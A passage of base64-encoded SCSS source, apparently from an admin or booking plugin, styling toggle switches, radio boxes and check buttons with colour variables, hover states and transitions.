gfVxuICAgICAgICAgICY6YWZ0ZXIge1xuICAgICAgICAgICAgdHJhbnNmb3JtOiBzY2FsZSgxLjIpO1xuICAgICAgICAgICAgdHJhbnNmb3JtOiB0cmFuc2xhdGVYKDEuMnJlbSk7XG4gICAgICAgICAgfVxuICAgICAgICB9XG4gICAgICB9XG4gICAgICBpbnB1dDpjaGVja2VkICsgbGFiZWwge1xuICAgICAgICAvL2JhY2tncm91bmQtY29sb3I6ICRjbF9tYWluLS1saWdodDtcbiAgICAgICAgc3BhbiB7XG4gICAgICAgICAgJjo6YmVmb3JlIHtcbiAgICAgICAgICAgIGNvbnRlbnQ6IGF0dHIoZGF0YS1vZmYpO1xuICAgICAgICAgIH1cbiAgICAgICAgfVxuICAgICAgICAmOjpiZWZvcmUge1xuICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfZ3JleTtcbiAgICAgICAgfVxuICAgICAgICAmOmFmdGVyIHtcbiAgICAgICAgICAvL2p1c3RpZnktc2VsZjogZmxleC1lbmQ7XG4gICAgICAgICAgdHJhbnNmb3JtOiB0cmFuc2xhdGVYKDApO1xuICAgICAgICAgIG9wYWNpdHk6IDE7XG4gICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS13aGl0ZTtcbiAgICAgICAgfVxuXG4gICAgICAgIEBtZWRpYSAoaG92ZXI6IGhvdmVyKSwgKC1tcy1oaWdoLWNvbnRyYXN0OiBub25lKSB7XG4gICAgICAgICAgJjpob3ZlciB7XG4gICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLWxpZ2h0ZXI7XG4gICAgICAgICAgICAmOjpiZWZvcmUge1xuICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLWxpZ2h0O1xuICAgICAgICAgICAgfVxuICAgICAgICAgICAgJjo6YWZ0ZXIge1xuICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJHNsbi1jb2xvci0tZW1waGFzaXM7XG4gICAgICAgICAgICB9XG4gICAgICAgICAgfVxuICAgICAgICB9XG4gICAgICAgICY6YWN0aXZlIHtcbiAgICAgICAgICAmOmFmdGVyIHtcbiAgICAgICAgICAgIHRyYW5zZm9ybTogc2NhbGUoMS4yKSB0cmFuc2xhdGVYKDApO1xuICAgICAgICAgIH1cbiAgICAgICAgfVxuICAgICAgfVxuICAgIH1cbiAgICAmLnNsbi1zd2l0Y2gtLW51IHtcbiAgICAgIG1hcmdpbi1ib3R0b206IDA7XG4gICAgICAuc2xuLWZha2UtbGFiZWwge1xuICAgICAgICBmb250LXNpemU6IDFyZW07XG4gICAgICB9XG4gICAgICAmOmhhcyguc2xuLWZha2UtbGFiZWwpIHtcbiAgICAgICAgaW5wdXQgKyBsYWJlbCB7XG4gICAgICAgICAgZ2FwOiAwO1xuICAgICAgICB9XG4gICAgICB9XG4gICAgICBpbnB1dCArIGxhYmVsIHtcbiAgICAgICAgJjo6YmVmb3JlIHtcbiAgICAgICAgICBoZWlnaHQ6IDEuNzVyZW07XG4gICAgICAgICAgYm9yZGVyLXJhZGl1czogOTk5OXB4O1xuICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfZF9iZy0tbWFpbi0tbGlnaHQ7XG4gICAgICAgIH1cbiAgICAgICAgJjo6YWZ0ZXIge1xuICAgICAgICAgIHdpZHRoOiAyLjVyZW07XG4gICAgICAgICAgaGVpZ2h0OiAxLjVyZW07XG4gICAgICAgICAgbWFyZ2luLWxlZnQ6IDAuMTI1cmVtO1xuICAgICAgICAgIGJvcmRlcjogbm9uZTtcbiAgICAgICAgICBib3JkZXItcmFkaXVzOiA5OTk5cHg7XG4gICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS13aGl0ZTtcbiAgICAgICAgfVxuICAgICAgICBAbWVkaWEgKGhvdmVyOiBob3ZlciksICgtbXMtaGlnaC1jb250cmFzdDogbm9uZSkge1xuICAgICAgICAgICY6aG92ZXIge1xuICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogdHJhbnNwYXJlbnQ7XG4gICAgICAgICAgICAmOjpiZWZvcmUge1xuICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX2RfbWFpbi0tbDE7XG4gICAgICAgICAgICB9XG4gICAgICAgICAgfVxuICAgICAgICB9XG4gICAgICB9XG4gICAgICBpbnB1dDpjaGVja2VkICsgbGFiZWwge1xuICAgICAgICAmOjpiZWZvcmUsXG4gICAgICAgICY6aG92ZXI6OmJlZm9yZSB7XG4gICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogYWRtaW5fY29uZmlnLiRjbF9kX21haW47XG4gICAgICAgIH1cbiAgICAgICAgJjo6YWZ0ZXIsXG4gICAgICAgICY6aG92ZXI6OmFmdGVyIHtcbiAgICAgICAgICB0cmFuc2Zvcm06IHRyYW5zbGF0ZVgoMS4yNXJlbSk7XG4gICAgICAgICAgb3BhY2l0eTogMTtcbiAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLXdoaXRlO1xuICAgICAgICB9XG4gICAgICAgIEBtZWRpYSAoaG92ZXI6IGhvdmVyKSwgKC1tcy1oaWdoLWNvbnRyYXN0OiBub25lKSB7XG4gICAgICAgICAgJjpob3ZlciB7XG4gICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiB0cmFuc3BhcmVudDtcbiAgICAgICAgICAgICY6OmJlZm9yZSB7XG4gICAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfZF9tYWluLS1sMTtcbiAgICAgICAgICAgIH1cbiAgICAgICAgICB9XG4gICAgICAgIH1cbiAgICAgIH1cbiAgICB9XG4gICAgJi5zbG4tc3dpdGNoLS1udS0tZmxleCB7XG4gICAgICBkaXNwbGF5OiBmbGV4O1xuICAgICAgYWxpZ24taXRlbXM6IGNlbnRlcjtcbiAgICAgIGdhcDogMXJlbTtcbiAgICB9XG4gIH1cbiAgLnNsbi1hZG1pbl9fdGFicGFuZWwgLnNsbi1zd2l0Y2gge1xuICAgIG1hcmdpbi1ib3R0b206IDA7XG4gIH1cbiAgLnNsbi1yYWRpb2JveCB7XG4gICAgbGFiZWwge1xuICAgICAgQGV4dGVuZCAlc2xuLWlucHV0LWxhYmVsLS1iaWc7XG4gICAgfVxuICAgIEBleHRlbmQgJXNsbi1pbnB1dC1oZWxwO1xuICAgIG1hcmdpbi1ib3R0b206IHNldHRpbmdzLW1peGlucy5yZW0oNDBweCk7XG4gICAgaW5wdXQge1xuICAgICAgcG9zaXRpb246IGFic29sdXRlO1xuICAgICAgbWFyZ2luLWxlZnQ6IC05OTk5cHg7XG4gICAgICB2aXNpYmlsaXR5OiBoaWRkZW47XG4gICAgfVxuICAgIC8vbGFiZWwge1xuICAgIC8vXHRmb250LXNpemU6IHNldHRpbmdzLW1peGlucy5yZW0oMjFweCk7XG4gICAgLy99XG4gICAgaW5wdXQgKyBsYWJlbCB7XG4gICAgICBkaXNwbGF5OiBncmlkO1xuICAgICAgd2lkdGg6IGZpdC1jb250ZW50O1xuICAgICAgaGVpZ2h0OiBhdXRvO1xuICAgICAgbWluLXdpZHRoOiAxNnJlbTtcbiAgICAgIG1pbi1oZWlnaHQ6IDMuMzNyZW07XG4gICAgICBncmlkLXRlbXBsYXRlLWNvbHVtbnM6IDEuNXJlbSBhdXRvO1xuICAgICAgYWxpZ24taXRlbXM6IGNlbnRlcjtcbiAgICAgIGdhcDogMXJlbTtcbiAgICAgIHBhZGRpbmc6IDAuNXJlbSAxcmVtO1xuICAgICAgbGluZS1oZWlnaHQ6IDEuNDtcbiAgICAgIHBvc2l0aW9uOiByZWxhdGl2ZTtcbiAgICAgIGN1cnNvcjogcG9pbnRlcjtcbiAgICAgIG91dGxpbmU6IG5vbmU7XG4gICAgICB1c2VyLXNlbGVjdDogbm9uZTtcbiAgICAgIGJvcmRlcjogMnB4IHNvbGlkIGNvbG9ycy1udS5zbG4tbnVjb2xvci0tbWFpbi0tbGlnaHQoMCk7XG4gICAgICBib3JkZXItcmFkaXVzOiA1cHg7XG4gICAgICBAaW5jbHVkZSBzZXR0aW5ncy1taXhpbnMuYnAoZGVza3RvcCkge1xuICAgICAgICAvL2hlaWdodDogc2V0dGluZ3MtbWl4aW5zLnJlbSg2MHB4KTtcbiAgICAgIH1cbiAgICAgIC8vQGV4dGVuZCAlc2xuLWJpZy1ib3JkZXItLW9uaG92ZXI7XG4gICAgICAvLyY6bnRoLWNoaWxkKDIpIHtcbiAgICAgIC8vXHRtYXJnaW4tdG9wOiBzZXR0aW5ncy1taXhpbnMucmVtKDMwcHgpO1xuICAgICAgLy99XG4gICAgICAmOjpiZWZvcmUsXG4gICAgICAmOjphZnRlciB7XG4gICAgICAgIGRpc3BsYXk6IGJsb2NrO1xuICAgICAgICBjb250ZW50OiAnJztcbiAgICAgICAgY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0td2hpdGU7XG4gICAgICAgIHdpZHRoOiAxLjVyZW07XG4gICAgICAgIGhlaWdodDogMS41cmVtO1xuICAgICAgICBib3JkZXItcmFkaXVzOiA1MCU7XG4gICAgICAgIGdyaWQtY29sdW1uOiAxO1xuICAgICAgICBncmlkLXJvdzogMTtcbiAgICAgICAgdHJhbnNpdGlvbjogYWxsIDAuMTVzO1xuICAgICAgfVxuICAgICAgJjo6YmVmb3JlIHtcbiAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogdHJhbnNwYXJlbnQ7XG4gICAgICAgIGJhY2tmYWNlLXZpc2liaWxpdHk6IGhpZGRlbjtcbiAgICAgICAgYm9yZGVyOiAycHggc29saWQ7XG4gICAgICAgIGJvcmRlci1jb2xvcjogYWRtaW5fY29uZmlnLiRjbF9ncmV5O1xuICAgICAgfVxuICAgICAgJjo6YWZ0ZXIge1xuICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiByZWQ7XG4gICAgICAgIGJhY2tmYWNlLXZpc2liaWxpdHk6IGhpZGRlbjtcbiAgICAgICAgdHJhbnNmb3JtOiBzY2FsZSgwKTtcbiAgICAgIH1cbiAgICAgIEBtZWRpYSAoaG92ZXI6IGhvdmVyKSwgKC1tcy1oaWdoLWNvbnRyYXN0OiBub25lKSB7XG4gICAgICAgICY6aG92ZXIge1xuICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0tbGlnaHRlcjtcbiAgICAgICAgICAmOjpiZWZvcmUge1xuICAgICAgICAgICAgYm9yZGVyLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLWxpZ2h0O1xuICAgICAgICAgIH1cbiAgICAgICAgICAmOjphZnRlciB7XG4gICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJHNsbi1jb2xvci0tZW1waGFzaXM7XG4gICAgICAgICAgICB0cmFuc2Zvcm06IHNjYWxlKDAuNSk7XG4gICAgICAgICAgfVxuICAgICAgICAgICY6YWN0aXZlIHtcbiAgICAgICAgICAgICY6OmFmdGVyIHtcbiAgICAgICAgICAgICAgdHJhbnNmb3JtOiBzY2FsZSgwLjYpO1xuICAgICAgICAgICAgfVxuICAgICAgICAgIH1cbiAgICAgICAgfVxuICAgICAgfVxuICAgICAgJjphY3RpdmUge1xuICAgICAgICAmOjpiZWZvcmUge1xuICAgICAgICAgIHRyYW5zZm9ybTogc2NhbGUoMSk7XG4gICAgICAgIH1cbiAgICAgICAgJjphZnRlciB7XG4gICAgICAgICAgdHJhbnNmb3JtOiBzY2FsZSgwLjUpO1xuICAgICAgICB9XG4gICAgICB9XG4gICAgfVxuICAgIGlucHV0OmNoZWNrZWQgKyBsYWJlbCB7XG4gICAgICAmOjpiZWZvcmUge1xuICAgICAgICBib3JkZXItY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0tbGlnaHQ7XG4gICAgICB9XG4gICAgICAmOmFmdGVyIHtcbiAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluO1xuICAgICAgICB0cmFuc2Zvcm06IHNjYWxlKDAuNSk7XG4gICAgICB9XG5cbiAgICAgIEBtZWRpYSAoaG92ZXI6IGhvdmVyKSwgKC1tcy1oaWdoLWNvbnRyYXN0OiBub25lKSB7XG4gICAgICAgICY6aG92ZXIge1xuICAgICAgICAgICY6OmFmdGVyIHtcbiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbjtcbiAgICAgICAgICAgIHRyYW5zZm9ybTogc2NhbGUoMC41KTtcbiAgICAgICAgICB9XG4gICAgICAgICAgJjphY3RpdmUge1xuICAgICAgICAgICAgJjo6YWZ0ZXIge1xuICAgICAgICAgICAgICB0cmFuc2Zvcm06IHNjYWxlKDAuNik7XG4gICAgICAgICAgICB9XG4gICAgICAgICAgfVxuICAgICAgICB9XG4gICAgICB9XG4gICAgICAmOmFjdGl2ZSB7XG4gICAgICAgICY6OmJlZm9yZSB7XG4gICAgICAgICAgdHJhbnNmb3JtOiBzY2FsZSgxLjIpO1xuICAgICAgICB9XG4gICAgICAgICY6YWZ0ZXIge1xuICAgICAgICAgIHRyYW5zZm9ybTogc2NhbGUoMC41KTtcbiAgICAgICAgfVxuICAgICAgfVxuICAgIH1cbiAgICBsYWJlbCBzcGFuIHtcbiAgICAgIC8vIFVTRUQgRk9SIEVNUEhBU0lTXG4gICAgICBkaXNwbGF5OiBpbmxpbmUtYmxvY2s7XG4gICAgICBwYWRkaW5nLWxlZnQ6IHNldHRpbmdzLW1peGlucy5yZW0oMTBweCk7XG4gICAgICBmb250LXdlaWdodDogNzAwO1xuICAgIH1cbiAgICAmLnNsbi1yYWRpb2JveC0tY2hlY2tvbmx5IHtcbiAgICAgIGRpc3BsYXk6IGlubGluZS1ibG9jaztcbiAgICAgIGlucHV0ICsgbGFiZWwge1xuICAgICAgICBib3JkZXItYm90dG9tOiBub25lO1xuICAgICAgfVxuICAgIH1cbiAgfVxuICAuc2xuLXJhZGlvYm94IC5zbG4tcmFkaW9ib3hfX3dyYXBwZXIge1xuICAgIGlucHV0ICsgbGFiZWwge1xuICAgICAgJjpudGgtY2hpbGQoMikge1xuICAgICAgICBtYXJnaW4tdG9wOiAwO1xuICAgICAgfVxuICAgIH1cbiAgICAmOm5vdCg6bGFzdC1jaGlsZCkge1xuICAgICAgaW5wdXQgKyBsYWJlbCB7XG4gICAgICAgIGJvcmRlci1ib3R0b206IG5vbmU7XG4gICAgICB9XG4gICAgfVxuICB9XG4gIC5zbG4tcmFkaW9ib3hfX3dyYXBwZXItLWJkIHtcbiAgICBwb3NpdGlvbjogcmVsYXRpdmU7XG4gICAgJjo6YWZ0ZXIge1xuICAgICAgZGlzcGxheTogYmxvY2s7XG4gICAgICBjb250ZW50OiAnJztcbiAgICAgIHBvc2l0aW9uOiBhYnNvbHV0ZTtcbiAgICAgIHRvcDogMDtcbiAgICAgIHJpZ2h0OiAwO1xuICAgICAgYm90dG9tOiAwO1xuICAgICAgbGVmdDogMDtcbiAgICAgIHBvaW50ZXItZXZlbnRzOiBub25lO1xuICAgICAgYm9yZGVyOiBzZXR0aW5ncy1taXhpbnMucmVtKDJweCkgc29saWRcbiAgICAgICAgYWRtaW5fY29uZmlnLmFscGhhLXRvbmVzKGFkbWluX2NvbmZpZy4kY2xfbWFpbi0tbGlnaHQsIDAuNSk7XG4gICAgICB0cmFuc2l0aW9uOiBib3JkZXIgMjUwbXM7XG4gICAgfVxuICAgICYuc2xuLXJhZGlvYm94X193cmFwcGVyLS1jaGVja2VkIHtcbiAgICAgIGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy5hbHBoYS10b25lcyhcbiAgICAgICAgYWRtaW5fY29uZmlnLiRjbF9tYWluLS1saWdodGVyLFxuICAgICAgICAwLjVcbiAgICAgICk7XG4gICAgICAmOjphZnRlciB7XG4gICAgICAgIGJvcmRlcjogc2V0dGluZ3MtbWl4aW5zLnJlbSgycHgpIHNvbGlkIGFkbWluX2NvbmZpZy4kY2xfbWFpbi0tbGlnaHQ7XG4gICAgICB9XG4gICAgfVxuICAgIGlucHV0ICsgbGFiZWwge1xuICAgICAgei1pbmRleDogMjtcbiAgICB9XG4gICAgLnNsbi1yYWRpb2JveF9fd3JhcHBlcl9fbGFiZWxmdWxsIHtcbiAgICAgIGRpc3BsYXk6IGJsb2NrO1xuICAgICAgcG9zaXRpb246IGFic29sdXRlO1xuICAgICAgdG9wOiAwO1xuICAgICAgcmlnaHQ6IDA7XG4gICAgICBib3R0b206IDA7XG4gICAgICBsZWZ0OiAwO1xuICAgICAgei1pbmRleDogMTtcbiAgICB9XG4gICAgQG1lZGlhIChob3ZlcjogaG92ZXIpLCAoLW1zLWhpZ2gtY29udHJhc3Q6IG5vbmUpIHtcbiAgICAgICY6aG92ZXIge1xuICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLWxpZ2h0ZXI7XG4gICAgICAgICY6OmFmdGVyIHtcbiAgICAgICAgICBib3JkZXI6IHNldHRpbmdzLW1peGlucy5yZW0oMnB4KSBzb2xpZCBhZG1pbl9jb25maWcuJGNsX21haW4tLWxpZ2h0O1xuICAgICAgICB9XG4gICAgICB9XG4gICAgfVxuICB9XG4gICNzbG4tYm9va2luZ19mb3JtX2xheW91dCAuc2xuLXJhZGlvYm94X193cmFwcGVyLS1iZCB7XG4gICAgbWFyZ2luLWJvdHRvbTogc2V0dGluZ3MtbWl4aW5zLnJlbSg0MHB4KTtcbiAgICBwYWRkaW5nOiBzZXR0aW5ncy1taXhpbnMucmVtKDMwcHgpO1xuICB9XG5cbiAgLnNsbi1jaGVja2J1dHRvbi1ncm91cCB7XG4gICAgbWFyZ2luLWJvdHRvbTogc2V0dGluZ3MtbWl4aW5zLnJlbSg0MHB4KTtcbiAgICBkaXNwbGF5OiBmbGV4O1xuICAgIGZsZXgtd3JhcDogd3JhcDtcbiAgICBAaW5jbHVkZSBzZXR0aW5ncy1taXhpbnMuYnAodGFibGV0KSB7XG4gICAgICBmbGV4LXdyYXA6IG5vd3JhcDtcbiAgICB9XG4gIH1cbiAgLnNsbi1jaGVja2J1dHRvbiB7XG4gICAgbWFyZ2luLXJpZ2h0OiAxMHB4O1xuICAgIG1hcmdpbi1ib3R0b206IDEwcHg7XG4gICAgd2lkdGg6IGNhbGMoNTAlIC0gMTBweCk7XG4gICAgZGlzcGxheTogYmxvY2s7XG4gICAgZmxvYXQ6IGxlZnQ7XG4gICAgQGluY2x1ZGUgc2V0dGluZ3MtbWl4aW5zLmJwKHRhYmxldCkge1xuICAgICAgd2lkdGg6IGNhbGMoMjUlIC0gMTBweCk7XG4gICAgfVxuICAgIEBpbmNsdWRlIHNldHRpbmdzLW1peGlucy5icChkZXNrdG9wKSB7XG4gICAgICB3aWR0aDogY2FsYygyNSUgLSAxMHB4KTtcbiAgICAgIG1heC13aWR0aDogc2V0dGluZ3MtbWl4aW5zLnJlbSgyMDBweCk7XG4gICAgfVxuICAgIGlucHV0IHtcbiAgICAgIHBvc2l0aW9uOiBhYnNvbHV0ZTtcbiAgICAgIG1hcmdpbi1sZWZ0OiAtOTk5OXB4O1xuICAgICAgdmlzaWJpbGl0eTogaGlkZGVuO1xuICAgIH1cbiAgICBpbnB1dCArIGxhYmVsIHtcbiAgICAgIC8qXG5cdFx0XHRkaXNwbGF5OiBibG9jaztcblx0XHRcdHBvc2l0aW9uOiByZWxhdGl2ZTtcblx0XHRcdGN1cnNvcjogcG9pbnRlcjtcblx0XHRcdG91dGxpbmU6IG5vbmU7XG5cdFx0XHR1c2VyLXNlbGVjdDogbm9uZTtcblx0XHRcdHBhZGRpbmc6IDAgc2V0dGluZ3MtbWl4aW5zLnJlbSg3MHB4KSAwIHNldHRpbmdzLW1peGlucy5yZW0oMTVweCk7XG5cdFx0XHRtYXJnaW4tYm90dG9tOiAwO1xuXHRcdFx0d2lkdGg6IDEwMCU7XG5cdFx0XHRoZWlnaHQ6IHNldHRpbmdzLW1peGlucy5yZW0oNjBweCk7XG5cdFx0XHRsaW5lLWhlaWdodDogc2V0dGluZ3MtbWl4aW5zLnJlbSg2MHB4KTtcblx0XHRcdHRyYW5zaXRpb246IGFsbCAxNTBtcztcblx0XHRcdHBvc2l0aW9uOiByZWxhdGl2ZTtcblx0XHRcdEBleHRlbmQgJWZvbnQtYmlnZ2VyO1xuXHRcdFx0Zm9udC1zaXplOiBzZXR0aW5ncy1taXhpbnMucmVtKDIxcHgpO1xuXHRcdFx0dGV4dC1hbGlnbjogbGVmdDtcblx0XHRcdGNvbG9yOiAkY2xfbWFpbjtcblx0XHRcdGJhY2tncm91bmQtY29sb3I6ICRjbF9tYWluLS13aGl0ZTtcblx0XHRcdGJvcmRlcjogMXB4IHNvbGlkO1xuXHRcdFx0Ym9yZGVyLWNvbG9yOiAkY2xfbWFpbi0tbGlnaHQ7XG5cdFx0XHRAaW5jbHVkZSBicCh0YWJsZXQpIHtcblx0XHRcdFx0aGVpZ2h0OiBzZXR0aW5ncy1taXhpbnMucmVtKDcwcHgpO1xuXHRcdFx0XHRsaW5lLWhlaWdodDogc2V0dGluZ3MtbWl4aW5zLnJlbSg3MHB4KTtcblx0XHRcdFx0cGFkZGluZzogMCBzZXR0aW5ncy1taXhpbnMucmVtKDQwcHgpIDAgc2V0dGluZ3MtbWl4aW5zLnJlbSgyMHB4KTtcblx0XHRcdH1cblx0XHRcdEBpbmNsdWRlIGJwKGRlc2t0b3ApIHtcblx0XHRcdFx0aGVpZ2h0OiBzZXR0aW5ncy1taXhpbnMucmVtKDYwcHgpO1xuXHRcdFx0XHRsaW5lLWhlaWdodDogc2V0dGluZ3MtbWl4aW5zLnJlbSg2MHB4KTtcblx0XHRcdFx0cGFkZGluZzogMCBzZXR0aW5ncy1taXhpbnMucmVtKDcwcHgpIDAgc2V0dGluZ3MtbWl4aW5zLnJlbSgyMHB4KTtcblx0XHRcdH1cblx0XHRcdCovXG4gICAgICBkaXNwbGF5OiBibG9jaztcbiAgICAgIHBvc2l0aW9uOiByZWxhdGl2ZTtcbiAgICAgIGN1cnNvcjogcG9pbnRlcjtcbiAgICAgIG91dGxpbmU6IG5vbmU7XG4gICAgICB1c2VyLXNlbGVjdDogbm9uZTtcbiAgICAgIHBhZGRpbmc6IDAgMC43NXJlbTtcbiAgICAgIGhlaWdodDogMi41cmVtO1xuICAgICAgZGlzcGxheTogZ3JpZDtcbiAgICAgIGdyaWQtdGVtcGxhdGUtY29sdW1uczogYXV0byAxcmVtO1xuICAgICAgYWxpZ24taXRlbXM6IGNlbnRlcjtcbiAgICAgIGJvcmRlci1yYWRpdXM6IDAuMTZyZW07XG4gICAgICBib3JkZXI6IDFweCBzb2xpZCBhZG1pbl9jb25maWcuJGNsX21haW4tLWxpZ2h0O1xuICAgICAgQGV4dGVuZCAlZm9udC1iaWc7XG4gICAgICBzcGFuIHtcbiAgICAgICAgZ3JpZC1jb2x1bW46IDE7XG4gICAgICAgIGdyaWQtcm93OiAxO1xuICAgICAgICBwYWRkaW5nLXJpZ2h0OiBzZXR0aW5ncy1taXhpbnMucmVtKDIwcHgpO1xuICAgICAgfVxuICAgICAgJjpiZWZvcmUsXG4gICAgICAmOmFmdGVyIHtcbiAgICAgICAgZGlzcGxheTogYmxvY2s7XG4gICAgICAgIGNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLXdoaXRlO1xuICAgICAgICB3aWR0aDogMS4xMjVyZW07XG4gICAgICAgIGhlaWdodDogMS4xMjVyZW07XG4gICAgICAgIGdyaWQtY29sdW1uOiAyO1xuICAgICAgICBncmlkLXJvdzogMTtcbiAgICAgICAgLy9wb3NpdGlvbjogYWJzb2x1dGU7XG4gICAgICAgIC8vdG9wOiBzZXR0aW5ncy1taXhpbnMucmVtKDEycHgpO1xuICAgICAgICAvL3RvcDogNTAlO1xuICAgICAgICAvL3JpZ2h0OiBzZXR0aW5ncy1taXhpbnMucmVtKDE0cHgpO1xuICAgICAgfVxuICAgICAgJjpiZWZvcmUge1xuICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiB0cmFuc3BhcmVudDtcbiAgICAgICAgY29udGVudDogJyc7XG4gICAgICAgIHRyYW5zaXRpb246IHRyYW5zZm9ybSAwLjVzO1xuICAgICAgICBiYWNrZmFjZS12aXNpYmlsaXR5OiBoaWRkZW47XG4gICAgICAgIGJvcmRlcjogMnB4IHNvbGlkIGFkbWluX2NvbmZpZy4kY2xfZ3JleTtcbiAgICAgICAgYm9yZGVyLXJhZGl1czogMC4xNnJlbTtcbiAgICAgIH1cbiAgICAgIC8qIEZJWCAwOTIwMjMgKi9cbiAgICAgICY6YWZ0ZXIge1xuICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiB0cmFuc3BhcmVudDtcbiAgICAgICAgY29udGVudDogJyBcXGYwMGMnO1xuICAgICAgICB0cmFuc2l0aW9uOiBhbGwgMC4xNXM7XG4gICAgICAgIGJhY2tmYWNlLXZpc2liaWxpdHk6IGhpZGRlbjtcbiAgICAgICAgb3BhY2l0eTogMTtcbiAgICAgICAgQGV4dGVuZCAlZm9udC1pY29uO1xuICAgICAgICBmb250LXNpemU6IHNldHRpbmdzLW1peGlucy5yZW0oMjFweCk7XG4gICAgICAgIGxpbmUtaGVpZ2h0OiBzZXR0aW5ncy1taXhpbnMucmVtKDI3cHgpO1xuICAgICAgICB0ZXh0LWFsaWduOiBjZW50ZXI7XG4gICAgICAgIG9wYWNpdHk6IDA7XG4gICAgICB9XG5cbiAgICAgIEBtZWRpYSAoaG92ZXI6IGhvdmVyKSwgKC1tcy1oaWdoLWNvbnRyYXN0OiBub25lKSB7XG4gICAgICAgICY6aG92ZXIge1xuICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0tbGlnaHRlcjtcbiAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuYWxwaGEtdG9uZXMoYWRtaW5fY29uZmlnLiRjbF9vaywgMC41KTtcbiAgICAgICAgICAmOjpiZWZvcmUge1xuICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS1saWdodDtcbiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy5hbHBoYS10b25lcyhcbiAgICAgICAgICAgICAgYWRtaW5fY29uZmlnLiRjbF9vayxcbiAgICAgICAgICAgICAgMC43NVxuICAgICAgICAgICAgKTtcbiAgICAgICAgICAgIGJvcmRlci1jb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS1saWdodDtcbiAgICAgICAgICAgIGJvcmRlci1jb2xvcjogdHJhbnNwYXJlbnQ7XG4gICAgICAgICAgfVxuICAgICAgICAgIC8qIEZJWCAwOTIwMjMgKi9cbiAgICAgICAgICAmOjphZnRlciB7XG4gICAgICAgICAgICBjb2xvcjogYWRtaW5fY29uZmlnLiRzbG4tY29sb3ItLWVtcGhhc2lzO1xuICAgICAgICAgICAgb3BhY2l0eTogMTtcbiAgICAgICAgICB9XG4gICAgICAgIH1cbiAgICAgIH1cbiAgICB9XG4gICAgaW5wdXQ6Y2hlY2tlZCArIGxhYmVsIHtcbiAgICAgIGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfb2s7XG4gICAgICBib3JkZXItY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfb2s7XG4gICAgICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuYWxwaGEtdG9uZXMoYWRtaW5fY29uZmlnLiRjbF9vaywgMC4yNSk7XG4gICAgICBib3JkZXItY29sb3I6IHRyYW5zcGFyZW50O1xuICAgICAgY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0tZW1waGFzaXM7XG4gICAgICBjb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluO1xuICAgICAgJjo6YmVmb3JlIHtcbiAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogYWRtaW5fY29uZmlnLiRjbF9vaztcbiAgICAgICAgYm9yZGVyLWNvbG9yOiB0cmFuc3BhcmVudDtcbiAgICAgIH1cbiAgICAgIC8qIEZJWCAwOTIwMjMgXG5cdFx0XHQmOmFmdGVyLFxuXHRcdFx0Jjpob3ZlcjphZnRlciB7XG5cdFx0XHRcdG9wYWNpdHk6IDE7XG5cdFx0XHRcdGNvbG9yOiAkY2xfbWFpbi0td2hpdGU7XG5cdFx0XHR9XG5cdFx0XHQqL1xuICAgIH1cblxuICAgIC8qXG5cdFx0aW5wdXQgKyBsYWJlbDphZnRlciB7XG5cdFx0Y29udGVudDogXCJcXGYwYzhcIjtcblx0XHRmb250LXdlaWdodDo0MDA7XG5cdFx0XHRkaXNwbGF5OiBpbmxpbmUtYmxvY2s7XG5cdFx0XHRwb3NpdGlvbjogYWJzb2x1dGU7XG5cdFx0XHRwb3NpdGlvbjogYWJzb2x1dGU7XG5cdFx0XHR0b3A6IDA7XG5cdFx0XHRyaWdodDogc2V0dGluZ3MtbWl4aW5zLnJlbSgxNXB4KTtcblx0XHRcdGJv